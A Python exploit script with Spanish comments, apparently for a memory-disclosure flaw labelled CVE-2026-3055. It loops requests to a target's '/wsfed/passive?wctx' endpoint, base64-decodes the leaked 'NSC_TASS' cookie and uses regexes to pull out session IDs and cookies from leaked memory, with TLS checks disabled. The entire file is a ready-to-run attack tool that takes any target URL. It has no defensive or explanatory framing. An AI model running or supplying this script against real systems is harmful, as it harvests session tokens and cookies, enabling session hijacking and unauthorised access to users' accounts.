#!/usr/bin/env python3
"""
CVE-2026-3055 - Memory Leaker Continuo
Realiza leaks continuos hasta encontrar datos sensibles
"""

import argparse
import base64
import requests
import urllib3
import time
import sys
import re
from colorama import init, Fore, Style

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
init(autoreset=True)

class ContinuousLeaker:
    """Realiza leaks continuos de memoria"""
    
    def __init__(self, target, interval=0.3):
        self.target = target.rstrip('/')
        self.interval = interval
        self.session = requests.Session()
        self.session.verify = False
        self.iterations = 0
        self.sensitive_count = 0
    
    def run(self, max_iterations=None):
        """Ejecuta leaks continuos"""
        print(f"{Fore.CYAN}[*] Starting continuous memory leak on {self.target}{Style.RESET_ALL}")
        print(f"{Fore.YELLOW}[!] Press Ctrl+C to stop{Style.RESET_ALL}\n")
        
        try:
            while True:
                self.iterations += 1
                
                url = f"{self.target}/wsfed/passive?wctx"
                resp = self.session.get(url, timeout=10, allow_redirects=False)
                tass_cookie = resp.cookies.get('NSC_TASS')
                
                if tass_cookie:
                    decoded = base64.b64decode(tass_cookie)
                    data_str = decoded.decode('ascii', errors='ignore')
                    
                    # Buscar datos sensibles
                    sensitive_found = False
                    
                    # Buscar session IDs
                    session_patterns = [r'[A-Za-z0-9]{32,}', r'[0-9a-f]{32}']
                    for pattern in session_patterns:
                        matches = re.findall(pattern, data_str)
                        for match in matches:
                            if len(match) >= 20:
                                print(f"{Fore.GREEN}[{self.iterations}] Session ID: {match}{Style.RESET_ALL}")
                                sensitive_found = True
                                self.sensitive_count += 1
                    
                    # Buscar cookies
                    cookie_matches = re.findall(r'(?:Cookie|Set-Cookie)[=:]\s*([^\r\n]+)', data_str, re.I)
                    for cookie in cookie_matches[:3]:
                        if 'NSC_TASS' not in cookie:
                            print(f"{Fore.YELLOW}[{self.iterations}] Cookie: {cookie[:100]}{Style.RESET_ALL}")
                            sensitive_found = True
                    
                    if not sensitive_found and self.iterations % 10 == 0:
                        sys.stdout.write(f"\r{Fore.CYAN}[{self.iterations}] Leaking... (no sensitive yet){Style.RESET_ALL}")
                        sys.stdout.flush()
                    elif sensitive_found:
                        print()
                
                time.sleep(self.interval)
                
                if max_iterations and self.iterations >= max_iterations:
                    break
                    
        except KeyboardInterrupt:
            print(f"\n\n{Fore.CYAN}[*] Stopped after {self.iterations} iterations{Style.RESET_ALL}")
            print(f"{Fore.GREEN}[+] Sensitive items found: {self.sensitive_count}{Style.RESET_ALL}")

def main():
    parser = argparse.ArgumentParser(description='CVE-2026-3055 - Continuous Memory Leaker')
    parser.add_argument('target', help='Target URL')
    parser.add_argument('-i', '--interval', type=float, default=0.3, help='Request interval (seconds)')
    parser.add_argument('-n', '--max', type=int, help='Max iterations')
    
    args = parser.parse_args()
    
    if not args.target.startswith('http'):
        args.target = f"https://{args.target}"
    
    leaker = ContinuousLeaker(args.target, args.interval)
    leaker.run(args.max)

if __name__ == "__main__":
    main()